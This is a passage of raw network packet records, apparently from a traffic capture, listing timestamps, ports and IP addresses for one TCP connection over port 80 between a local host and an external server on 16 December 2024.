Dec 16, 2024 17:02:31.018196106 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.018217087 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.018870115 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.018882036 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.018893957 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.018913031 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.018935919 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.019848108 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.019860029 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.019871950 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.019900084 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.020432949 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.020469904 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.020546913 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.020558119 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.020587921 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.021254063 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.021436930 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.021447897 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.021482944 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.022157907 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.022170067 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.022181988 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.022208929 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.022226095 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.023140907 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.069305897 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.085092068 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.191915035 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.192004919 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.192017078 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.192085028 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.192379951 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.192430973 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.192547083 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.192558050 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.192604065 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.193001986 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.193213940 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.193226099 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.193259954 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.193859100 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.193914890 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.194232941 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.194243908 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.194289923 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.194770098 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.195158005 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.195171118 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.195215940 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.195590973 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.195636034 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.195818901 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.195832014 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.195895910 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.196232080 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.196444035 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.196455002 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.196504116 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.196913004 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.196975946 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.197232962 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.197244883 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.197293043 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.197753906 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.197839975 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.197850943 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.197889090 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.198312998 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.198365927 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.198498964 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.198512077 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.198553085 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.199105978 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.199213028 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.199223995 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.199282885 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.199902058 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.200083971 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.200097084 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.200129986 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.200150967 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.200686932 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.200875044 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.200892925 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.201087952 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.201510906 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.201653004 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.201695919 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.201710939 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.201747894 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.202200890 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.202317953 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.202332020 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.202364922 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.202929974 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.202977896 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.203088999 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.203103065 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.203144073 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.203706026 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.203844070 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.203855991 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.203881979 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.204323053 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.204499960 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.204509974 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.204510927 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.204545021 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.205099106 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.205223083 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.205235004 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.205252886 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.205765009 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.205856085 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.205868006 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.205908060 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.205908060 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.206449032 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.206593990 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.206604958 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.206629992 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.207072020 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.207184076 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.207241058 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.207256079 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.207294941 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.207798958 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.207910061 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.207921982 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.207952023 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.208352089 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.208476067 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.208508015 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.208520889 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.208564043 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.209136009 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.209331989 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.209343910 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.209388018 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.209733963 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.209775925 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.209856987 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.209868908 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.209913969 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.210483074 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.210679054 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.210755110 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.210764885 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.210766077 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.210880995 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.211323977 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.211450100 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.211462021 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.211496115 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.211961031 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.212029934 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.212153912 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.212165117 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.212239981 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.212721109 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.212726116 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.212874889 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.212887049 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.212927103 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.213606119 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.213697910 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.213711977 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.213737965 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.213747025 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.214368105 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.214586973 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.214601040 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.214638948 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.214981079 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.215107918 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.215121031 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.215158939 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.215158939 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.215493917 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.215636015 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.215646982 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.215682030 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.216514111 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.216715097 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.216727018 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.216754913 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.216767073 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.218535900 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.272442102 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.291372061 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.381367922 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.381419897 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.381438971 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.381593943 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.381767035 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.381813049 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.381980896 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.381994009 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.382033110 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.382365942 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.382622004 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.382636070 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.382675886 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.383325100 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.383364916 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.383377075 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.383430004 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.383430958 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.384052038 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.384182930 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.384196043 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.384251118 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.384849072 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.384941101 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.384953022 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.384958029 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.384994030 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.385617971 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.385746956 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.385782003 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.385801077 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.386270046 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.386324883 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.386534929 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.386569977 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.386620045 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.387089014 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.387167931 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.387202978 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.387221098 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.387784004 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.387919903 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.387972116 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.387979031 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.388690948 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.388751984 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.388780117 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.388816118 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.388832092 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.389360905 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.389537096 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.389571905 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.389597893 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.389630079 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.390199900 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.390388012 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.390450954 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.390552998 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.390927076 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.390985012 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.391052961 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.391088963 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.391238928 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.391648054 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.391824961 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.391865015 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.391885042 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.392425060 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.392545938 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.392576933 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.392581940 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.392632961 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.393158913 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.393299103 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.393332958 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.393347025 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.393942118 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.394004107 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.394077063 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.394110918 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.394170046 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.394718885 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.394813061 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.394850016 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.394869089 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.395472050 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.395595074 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.395623922 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.395629883 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.395678997 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.396352053 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.396462917 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.396497965 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.396528006 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.397068977 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.397181988 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.397192001 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.397227049 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.397391081 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.397783041 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.398091078 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.398127079 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.398147106 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.398638010 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.398685932 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.398758888 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.398792982 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.398876905 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.399332047 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.399498940 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.399533033 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.399585962 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.400099993 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.400152922 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.400324106 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.400492907 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.400527000 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.400546074 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.401253939 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.401314974 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.401354074 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.401391029 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.401454926 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.402527094 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.402677059 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.402712107 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.402733088 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.403291941 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.403343916 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.403486013 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.403522968 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.403604031 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.403637886 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.404659033 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.404792070 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.404827118 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.404881001 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.405477047 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.405565023 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.405599117 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.405615091 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.405647039 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.406225920 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.406451941 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.406486988 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.406505108 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.407303095 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.407358885 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.407452106 CET	80	49714	138.124.35.95	192.168.2.8
